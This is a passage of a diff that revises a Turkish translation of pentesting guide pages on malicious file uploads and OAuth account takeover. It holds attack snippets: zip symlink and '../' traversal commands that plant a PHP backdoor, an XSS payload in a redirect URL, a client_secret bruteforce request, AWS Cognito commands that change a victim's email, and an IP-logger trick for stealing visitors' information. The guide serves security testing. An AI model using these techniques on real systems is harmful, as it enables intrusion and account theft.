- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
- Eğer **web sunucusunu bir URL'den resim yakalamaya** yönlendirebilirseniz, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
- [**XXE ve CORS** bypass PDF-Adobe yüklemesi ile](pdf-upload-xxe-and-cors-bypass.md).
|
||||
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatları takip ederek rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin.
|
||||
- Dosya yüklerken herhangi bir **boyut sınırı** olup olmadığını kontrol edin.
|
||||
|
||||
@ -208,7 +208,7 @@ Diğer dosya türleri için [https://en.wikipedia.org/wiki/List_of_file_signatur
|
||||
|
||||
### Zip/Tar Dosyası Otomatik Olarak Açılan Yükleme
|
||||
|
||||
Eğer sunucu içinde açılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz:
|
||||
Eğer sunucu içinde açılacak bir ZIP yükleyebilirseniz, 2 şey yapabilirsiniz:
|
||||
|
||||
#### Symlink
|
||||
|
||||
@ -218,9 +218,9 @@ ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Farklı Klasörlerde Sıkıştırmayı Açma
|
||||
### Farklı klasörlerde açma
|
||||
|
||||
Sıkıştırma sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın sıkıştırmayı açma işlevini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
|
||||
Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
|
||||
|
||||
Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir:
|
||||
```python
|
||||
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Hex Editörü veya vi ile Değişiklik**: Zip içindeki dosyaların isimleri vi veya bir hex editörü kullanılarak değiştirilir, "xxA" "../" olarak değiştirilir ve dizinler arasında geçiş yapılır.
|
||||
3. **Hex Editör veya vi ile Değişiklik**: Zip içindeki dosyaların isimleri vi veya bir hex editör kullanılarak değiştirilir, "xxA" "../" olarak değiştirilerek dizinler arasında geçiş yapılır.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -291,7 +291,7 @@ pop graphic-context
|
||||
|
||||
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanıldığından, bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.
|
||||
|
||||
Bu tekniğin metodolojisi ve potansiyel uygulamaları hakkında detaylı bir keşif, aşağıdaki makalede sağlanmıştır: ["PNG IDAT parçalarında Web Shell'leri Kodlama"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.
|
||||
Bu tekniğin metodolojisi ve potansiyel uygulamaları hakkında detaylı bir keşif, aşağıdaki makalede sağlanmıştır: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.
|
||||
|
||||
Daha fazla bilgi için: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
@ -1,35 +1,35 @@
|
||||
# OAuth ile Hesap Ele Geçirme
|
||||
# OAuth to Account takeover
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler <a href="#d4a8" id="d4a8"></a>
|
||||
## Basic Information <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth, temel bilgilerin erişilebilir olduğu çeşitli sürümler sunar; [OAuth 2.0 belgeleri](https://oauth.net/2/) bu konuda bilgi sağlar. Bu tartışma, yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu yetki türü](https://oauth.net/2/grant-types/authorization-code/) etrafında dönmektedir ve **bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesini veya eylem gerçekleştirmesini sağlayan bir yetkilendirme çerçevesi** sunar (yetkilendirme sunucusu).
|
||||
OAuth, çeşitli versiyonlar sunar ve temel bilgiler [OAuth 2.0 belgeleri](https://oauth.net/2/) adresinde mevcuttur. Bu tartışma, yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu grant türü](https://oauth.net/2/grant-types/authorization-code/) etrafında dönmektedir ve **bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesini veya işlemler gerçekleştirmesini sağlayan bir yetkilendirme çerçevesi** sunmaktadır (yetkilendirme sunucusu).
|
||||
|
||||
Hayali bir web sitesi _**https://example.com**_ düşünün; bu site, **tüm sosyal medya paylaşımlarınızı**, özel olanlar da dahil, **sergilemek** için tasarlanmıştır. Bunu başarmak için OAuth 2.0 kullanılmaktadır. _https://example.com_, **sosyal medya paylaşımlarınıza erişim** izni talep edecektir. Sonuç olarak, _https://socialmedia.com_ üzerinde, **talep edilen izinler ve talebi yapan geliştirici** hakkında bilgi veren bir onay ekranı belirecektir. Onayınızla, _https://example.com_, **sizin adınıza paylaşımlarınıza erişim** yetkisi kazanır.
|
||||
|
||||
OAuth 2.0 çerçevesindeki aşağıdaki bileşenleri anlamak önemlidir:
|
||||
|
||||
- **resource owner**: Siz, **kullanıcı/varlık** olarak, sosyal medya hesabınızdaki paylaşımlar gibi kaynaklarınıza erişim izni verirsiniz.
|
||||
- **resource server**: Uygulama, `resource owner` adına bir `access token` aldıktan sonra **kimlik doğrulama isteklerini yöneten sunucu**, örneğin, **https://socialmedia.com**.
|
||||
- **client application**: `resource owner`dan yetkilendirme talep eden **uygulama**, örneğin **https://example.com**.
|
||||
- **authorization server**: `resource owner`ın başarılı bir şekilde kimlik doğrulamasını yaptıktan sonra `client application`a `access tokens` veren **sunucu**, örneğin, **https://socialmedia.com**.
|
||||
- **resource server**: **Erişim token'ını** `resource owner` adına güvence altına aldıktan sonra kimlik doğrulama isteklerini yöneten **sunucu**, örneğin, **https://socialmedia.com**.
|
||||
- **client application**: `resource owner`'dan yetkilendirme talep eden **uygulama**, örneğin, **https://example.com**.
|
||||
- **authorization server**: `resource owner`'ın başarılı bir şekilde kimlik doğrulamasını yaptıktan sonra `client application`'a **`access tokens`** veren **sunucu**, örneğin, **https://socialmedia.com**.
|
||||
- **client_id**: Uygulama için kamuya açık, benzersiz bir tanımlayıcı.
|
||||
- **client_secret:** Sadece uygulama ve yetkilendirme sunucusu tarafından bilinen, `access_tokens` oluşturmak için kullanılan gizli bir anahtar.
|
||||
- **response_type**: **Talep edilen token türünü** belirten bir değer, örneğin `code`.
|
||||
- **scope**: `client application`ın `resource owner`dan talep ettiği **erişim seviyesi**.
|
||||
- **scope**: `client application`'ın `resource owner`'dan talep ettiği **erişim seviyesi**.
|
||||
- **redirect_uri**: Kullanıcının yetkilendirmeden sonra yönlendirileceği **URL**. Bu genellikle önceden kaydedilmiş yönlendirme URL'si ile uyumlu olmalıdır.
|
||||
- **state**: Kullanıcının yetkilendirme sunucusuna yönlendirilmesi sırasında ve sonrasında **verileri korumak için bir parametre**. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet vermesi açısından kritik öneme sahiptir.
|
||||
- **grant_type**: **Verilecek yetki türünü ve dönecek token türünü** belirten bir parametre.
|
||||
- **code**: `authorization server`dan alınan yetkilendirme kodu; `client application` tarafından `access_token` almak için `client_id` ve `client_secret` ile birlikte kullanılır.
|
||||
- **access_token**: `resource owner` adına API istekleri için `client application`ın kullandığı **token**.
|
||||
- **state**: Kullanıcının yetkilendirme sunucusuna yönlendirilmesi sırasında ve sonrasında **verileri korumak için** bir parametre. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet vermesi açısından kritik öneme sahiptir.
|
||||
- **grant_type**: **Verilecek token türünü ve grant türünü** belirten bir parametre.
|
||||
- **code**: `authorization server`'dan alınan yetkilendirme kodu; `client_id` ve `client_secret` ile birlikte `access_token` almak için client application tarafından kullanılır.
|
||||
- **access_token**: `resource owner` adına API istekleri için **client application** tarafından kullanılan **token**.
|
||||
- **refresh_token**: Uygulamanın **kullanıcıyı yeniden istemeden yeni bir `access_token` almasını** sağlar.
|
||||
|
||||
### Akış
|
||||
### Flow
|
||||
|
||||
**Gerçek OAuth akışı** şu şekilde ilerler:
|
||||
|
||||
1. [https://example.com](https://example.com) adresine gidersiniz ve “Sosyal Medya ile Entegre Ol” butonunu seçersiniz.
|
||||
1. [https://example.com](https://example.com) adresine gidiyorsunuz ve “Sosyal Medya ile Entegre Ol” butonunu seçiyorsunuz.
|
||||
2. Site, https://example.com uygulamasının paylaşımlarınıza erişim izni talep etmek için [https://socialmedia.com](https://socialmedia.com) adresine bir istek gönderir. İstek şu şekilde yapılandırılmıştır:
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
@ -40,33 +40,33 @@ https://socialmedia.com/auth
|
||||
&state=randomString123
|
||||
```
|
||||
3. Ardından bir onay sayfası ile karşılaşırsınız.
|
||||
4. Onayınızın ardından, Sosyal Medya `code` ve `state` parametreleri ile `redirect_uri`'ye bir yanıt gönderir:
|
||||
4. Onayınızı takiben, Sosyal Medya `code` ve `state` parametreleri ile `redirect_uri`'ye bir yanıt gönderir:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com bu `code`'u, `client_id` ve `client_secret` ile birlikte, sizin adınıza bir `access_token` almak için sunucu tarafında bir istek yapmak üzere kullanır ve onayladığınız izinlere erişim sağlar:
|
||||
5. https://example.com bu `code`'u, `client_id` ve `client_secret` ile birlikte kullanarak, sizin adınıza bir `access_token` almak için sunucu tarafında bir istek yapar ve onayladığınız izinlere erişim sağlar:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. Son olarak, süreç https://example.com `access_token`'ınızı kullanarak Sosyal Medya'ya API çağrısı yaparak sona erer.
|
||||
6. Son olarak, süreç https://example.com `access_token`'ınızı kullanarak Sosyal Medya'ya API çağrısı yaparak sonuçlanır.
|
||||
|
||||
## Güvenlik Açıkları <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
### Açık redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme kodları gibi hassas verilerin yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir ve hesap ele geçirme olanağı tanır.
|
||||
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme kodları gibi hassas verilerin yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir ve hesap ele geçirme olanağı sağlar.
|
||||
|
||||
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleşmesinden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar değişebilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regex'lerin sömürülmesi ve token hırsızlığı için HTML enjeksiyonu bulunmaktadır.
|
||||
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleşmesinden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar değişebilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regex'lerin istismarı ve token hırsızlığı için HTML enjeksiyonu bulunmaktadır.
|
||||
|
||||
`redirect_uri` dışında, `client_uri`, `policy_uri`, `tos_uri` ve `initiate_login_uri` gibi diğer OAuth ve OpenID parametreleri de yönlendirme saldırılarına karşı hassastır. Bu parametreler isteğe bağlıdır ve destekleri sunucular arasında değişiklik gösterir.
|
||||
`redirect_uri` dışında, `client_uri`, `policy_uri`, `tos_uri` ve `initiate_login_uri` gibi diğer OAuth ve OpenID parametreleri de yönlendirme saldırılarına karşı hassastır. Bu parametreler isteğe bağlıdır ve sunucular arasında destekleri değişiklik gösterir.
|
||||
|
||||
OpenID sunucusunu hedef alanlar için, keşif uç noktası (`**.well-known/openid-configuration**`) genellikle `registration_endpoint`, `request_uri_parameter_supported` ve "`require_request_uri_registration`" gibi değerli yapılandırma ayrıntılarını listeler. Bu ayrıntılar, kayıt uç noktasını ve sunucunun diğer yapılandırma özelliklerini belirlemede yardımcı olabilir.
|
||||
|
||||
### Yönlendirme uygulamasında XSS <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) yönlendirme **URL'sinin, kullanıcı kimlik doğruladıktan sonra sunucunun yanıtında yansıtılması** mümkün olabilir ve bu durum **XSS'ye karşı savunmasızdır**. Test etmek için olası yük:
|
||||
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), yönlendirme **URL'sinin sunucunun yanıtında yansıtılması** mümkün olabilir, bu da **XSS'ye karşı savunmasızdır**. Test etmek için olası yük:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
@ -74,22 +74,22 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
|
||||
OAuth uygulamalarında, **`state` parametresinin** kötüye kullanımı veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresinin **kullanılmaması, statik bir değer olarak kullanılması veya düzgün bir şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını atlamasına olanak tanır.
|
||||
|
||||
Saldırganlar, yetkilendirme sürecini keserek kendi hesaplarını bir mağdurun hesabıyla ilişkilendirmek için bunu istismar edebilir, bu da potansiyel **hesap ele geçirmelerine** yol açar. Bu, OAuth'un **kimlik doğrulama amaçları** için kullanıldığı uygulamalarda özellikle kritik öneme sahiptir.
|
||||
Saldırganlar, yetkilendirme sürecini keserek kendi hesaplarını bir mağdurun hesabıyla ilişkilendirebilir, bu da potansiyel **hesap ele geçirmelerine** yol açar. Bu durum, OAuth'un **kimlik doğrulama amaçları** için kullanıldığı uygulamalarda özellikle kritik öneme sahiptir.
|
||||
|
||||
Bu zafiyetin gerçek dünya örnekleri, çeşitli **CTF yarışmaları** ve **hackleme platformları** üzerinde belgelenmiştir ve pratik etkilerini vurgulamaktadır. Sorun, **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle entegrasyonlara da uzanmakta, burada saldırganlar bildirimleri veya ödemeleri kendi hesaplarına yönlendirebilmektedir.
|
||||
|
||||
**`state` parametresinin** doğru bir şekilde yönetilmesi ve doğrulanması, CSRF'ye karşı korunmak ve OAuth akışını güvence altına almak için kritik öneme sahiptir.
|
||||
**`state` parametresinin** doğru bir şekilde yönetimi ve doğrulanması, CSRF'ye karşı korunmak ve OAuth akışını güvence altına almak için kritik öneme sahiptir.
|
||||
|
||||
### Hesap Ele Geçirmeden Önce <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Hesap Oluşturma sırasında E-posta Doğrulaması Olmadan**: Saldırganlar, mağdurun e-posta adresini kullanarak önceden bir hesap oluşturabilir. Eğer mağdur daha sonra bir üçüncü taraf hizmeti ile giriş yaparsa, uygulama bu üçüncü taraf hesabını saldırganın önceden oluşturduğu hesapla yanlışlıkla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
|
||||
2. **Gevşek OAuth E-posta Doğrulamasını İstismar Etme**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini istismar edebilir; kendi hizmetleriyle kaydolup ardından hesap e-posta adresini mağdurunki ile değiştirebilirler. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla.
|
||||
1. **Hesap Oluşturma Sırasında E-posta Doğrulaması Olmadan**: Saldırganlar, mağdurun e-posta adresini kullanarak önceden bir hesap oluşturabilir. Eğer mağdur daha sonra bir üçüncü taraf hizmeti ile giriş yaparsa, uygulama bu üçüncü taraf hesabını saldırganın önceden oluşturduğu hesapla yanlışlıkla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
|
||||
2. **Gevşek OAuth E-posta Doğrulamasını Kötüye Kullanma**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini kötüye kullanarak kendi hizmetleriyle kaydolabilir ve ardından hesap e-posta adresini mağdurunki ile değiştirebilir. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla gerçekleşir.
|
||||
|
||||
### Gizli Bilgilerin Açığa Çıkması <a href="#e177" id="e177"></a>
|
||||
|
||||
Gizli OAuth parametrelerini tanımlamak ve korumak çok önemlidir. **`client_id`** güvenle ifşa edilebilirken, **`client_secret`** ifşası önemli riskler taşır. Eğer `client_secret` ele geçirilirse, saldırganlar uygulamanın kimliğini ve güvenini istismar ederek **kullanıcı `access_tokens`** ve özel bilgileri çalabilirler.
|
||||
Gizli OAuth parametrelerini tanımlamak ve korumak çok önemlidir. **`client_id`** güvenle ifşa edilebilirken, **`client_secret`** ifşası önemli riskler taşır. Eğer `client_secret` ele geçirilirse, saldırganlar uygulamanın kimliğini ve güvenini kötüye kullanarak **kullanıcı `access_tokens`** ve özel bilgileri çalabilir.
|
||||
|
||||
Uygulamaların yetkilendirme `code`'unu `access_token` ile istemci tarafında değil, sunucu tarafında yanlışlıkla yönetmesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına yol açar ve saldırganların uygulamanın kimliğini kullanarak `access_tokens` oluşturmasına olanak tanır. Ayrıca, sosyal mühendislik yoluyla, saldırganlar OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da istismar edebilir.
|
||||
Uygulamaların yetkilendirme `code`'unu `access_token` ile istemci tarafında değil, sunucu tarafında yanlışlıkla yönetmesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına neden olur ve saldırganların uygulamanın kimliğini kullanarak `access_tokens` oluşturmasına olanak tanır. Ayrıca, sosyal mühendislik yoluyla, saldırganlar OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da kötüye kullanabilir.
|
||||
|
||||
### Client Secret Bruteforce
|
||||
|
||||
@ -104,29 +104,29 @@ Connection: close
|
||||
|
||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||
```
|
||||
### Referer Header sızdıran Kod + Durum
|
||||
### Referer Header leaking Code + State
|
||||
|
||||
Müşteri **kod ve durumu** aldıktan sonra, eğer bu **Referer başlığında yansıtılıyorsa** ve farklı bir sayfaya göz atıyorsa, o zaman savunmasızdır.
|
||||
Müşteri **kod ve durum** bilgilerini aldıktan sonra, eğer bu bilgiler **Referer başlığında yansıyorsa** ve farklı bir sayfaya gittiğinde, o zaman bu açık durumdadır.
|
||||
|
||||
### Erişim Token'ı Tarayıcı Geçmişinde Saklanıyor
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
**Tarayıcı geçmişine gidin ve erişim token'ının orada kaydedilip kaydedilmediğini kontrol edin**.
|
||||
**Tarayıcı geçmişine gidin ve access token'ın orada kaydedilip kaydedilmediğini kontrol edin**.
|
||||
|
||||
### Sürekli Yetkilendirme Kodu
|
||||
### Everlasting Authorization Code
|
||||
|
||||
**Yetkilendirme kodu, bir saldırganın onu çalabileceği ve kullanabileceği zaman penceresini sınırlamak için sadece bir süre boyunca geçerli olmalıdır**.
|
||||
**Yetkilendirme kodu, bir saldırganın onu çalabileceği ve kullanabileceği zaman penceresini sınırlamak için sadece bir süre geçerli olmalıdır**.
|
||||
|
||||
### Yetkilendirme/Yenileme Token'ı istemciye bağlı değil
|
||||
### Authorization/Refresh Token not bound to client
|
||||
|
||||
Eğer **yetkilendirme kodunu alabilir ve bunu farklı bir istemci ile kullanabilirseniz, o zaman diğer hesapları ele geçirebilirsiniz**.
|
||||
Eğer **yetkilendirme kodunu alabilir ve bunu farklı bir istemci ile kullanabilirseniz, diğer hesapları ele geçirebilirsiniz**.
|
||||
|
||||
### Mutlu Yollar, XSS, Iframe'ler ve Kod & Durum değerlerini sızdırmak için Post Mesajları
|
||||
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
|
||||
|
||||
[**Bu gönderiyi kontrol edin**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Bu hata ödül raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito** tarafından kullanıcıya geri verilen **token'ın** **kullanıcı verilerini üzerine yazmak için yeterli izinlere sahip olabileceğini** görebilirsiniz. Bu nedenle, eğer **bir kullanıcı e-posta adresini farklı bir kullanıcı e-posta adresi ile değiştirebilirseniz**, diğer hesapları **ele geçirebilirsiniz**.
|
||||
Bu bug bounty raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito** tarafından kullanıcıya geri verilen **token'ın, kullanıcı verilerini üzerine yazmak için yeterli izinlere sahip olabileceğini** görebilirsiniz. Bu nedenle, eğer **bir kullanıcının e-posta adresini farklı bir kullanıcı e-posta adresi ile değiştirebilirseniz**, diğer hesapları **ele geçirebilirsiniz**.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
@ -146,31 +146,31 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
Daha fazla bilgi için AWS cognito'yu nasıl kötüye kullanacağınızı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
|
||||
{{#endref}}
|
||||
|
||||
### Diğer Uygulama token'larını Kötüye Kullanma <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Bu yazıda bahsedildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve kod değil) almayı bekleyen OAuth akışları, token'ın uygulamaya ait olduğunu kontrol etmedikleri takdirde savunmasız olabilir.
|
||||
[**bu yazıda bahsedildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve kod değil) almayı bekleyen OAuth akışları, token'ın uygulamaya ait olduğunu kontrol etmedikleri takdirde savunmasız olabilir.
|
||||
|
||||
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Daha sonra, bir kurban **saldırganın uygulamasında** Facebook ile giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın OAuth uygulamasında kurbanın kullanıcı token'ı ile giriş yapmak için kullanabilir**.
|
||||
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Ardından, bir kurban Facebook ile **saldırganın uygulamasında** giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın kullanıcı token'ını kullanarak kurbanın OAuth uygulamasında giriş yapmak için kullanabilir**.
|
||||
|
||||
> [!DİKKAT]
|
||||
> Bu nedenle, eğer saldırgan kullanıcıyı kendi OAuth uygulamasına eriştirmeyi başarırsa, token bekleyen ve token'ın kendi uygulama kimliğine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilir.
|
||||
|
||||
### İki Bağlantı & Çerez <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Bu yazıya göre**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açması sağlanabiliyordu. Bu bilgi **bir çerezde (RU)** saklanacak ve **sonraki adımda** **istem** **kullanıcıya** o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
|
||||
[**bu yazıya göre**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açması mümkün olmuştur. Bu bilgi **bir çerezde (RU)** saklanacak ve **sonraki adımda** **istem** kullanıcının o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
|
||||
|
||||
Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlayacak şekilde **Oauth akışını** başlatmak için bir sekme açmak, istem gösterilmeden önce sekmeyi kapatmak ve o değeri içermeyen yeni bir sekme açmak mümkündü. Böylece, **istem saldırganın ana bilgisayarını bildirmeyecek**, ancak çerez ona ayarlanacak, bu nedenle **token saldırganın ana bilgisayarına** yönlendirme sırasında gönderilecektir.
|
||||
Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlamak için **Oauth akışını** başlatmak üzere bir sekme açmak, istem gösterilmeden önce sekmeyi kapatmak ve bu değeri içermeyen yeni bir sekme açmak mümkündü. Böylece, **istem saldırganın ana bilgisayarından bahsetmeyecek**, ancak çerez ona ayarlanacak, bu nedenle **token saldırganın ana bilgisayarına** yönlendirme sırasında gönderilecektir.
|
||||
|
||||
### İstem Etkileşimi Atlatma <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), bazı OAuth uygulamaları, kullanıcıların platformda zaten giriş yapmışlarsa webdeki bir istemde verilen erişimi onaylamaları için **`prompt`** GET parametresini None (**`&prompt=none`**) olarak belirtmelerine izin verir.
|
||||
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), bazı OAuth uygulamaları, kullanıcıların platformda zaten giriş yapmışlarsa webde verilen erişimi onaylamaları için **`prompt`** GET parametresini None (**`&prompt=none`**) olarak belirtmelerine izin verir.
|
||||
|
||||
### response_mode
|
||||
|
||||
